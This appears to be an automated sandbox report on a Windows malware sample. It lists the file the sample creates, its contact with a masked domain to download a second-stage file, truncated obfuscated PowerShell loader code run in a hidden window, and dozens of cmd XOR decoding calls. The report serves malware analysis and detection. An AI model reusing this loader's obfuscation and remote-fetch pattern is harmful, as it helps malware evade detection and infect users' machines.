Technical Information
Malicious functions
Launches a large number of processes
Modifies file system
Creates the following files
- %APPDATA%\storbyomraader.pif
Network activity
Connects to
- 'b2#####rauchtwagen.org':80
TCP
HTTP GET requests
- http://b2#####rauchtwagen.org/wagenorg/Bladsellerien.mdp
UDP
- DNS ASK b2#####rauchtwagen.org
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Prevlling=49905-29905;Function Larkishly9 ([String]$Udpantningsretigheden){$Grundtvigianismens=5;For($Jettene=4; $Jettene -lt $Udpantningsretigheden.Length-1; $Jettene+=$Grundtvigianismens){$...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "$Prevlling=49905-29905;Function Larkishly9 ([String]$Udpantningsretigheden){$Grundtvigianismens=5;For($Jettene=4; $Jettene -lt $Udpantningsretigheden.Length-1; $Jettene+=$Grundtvigianismens){$...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 184^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 129^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 220^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 221^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 186^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 142^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 153^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 130^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 135^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 168^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 191^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 174^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 189^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 154^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 137^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 128^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 157^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 140^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 134^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 162^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 131^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 139^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 193^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 161^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 138^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 155^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 156^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 150^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 188^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "echo 16"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "Function Retningslinierne02([String]$yogism) { $Projekteringers = [System.Byte[]]::CreateInstance([System.Byte],$yogism.Length / 2) $Trefoil = (cmd /c 'echo 16') For($carbureting=0; $carbu...
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 166^^239"
- '%WINDIR%\syswow64\cmd.exe' /c "set /a 159^^239"
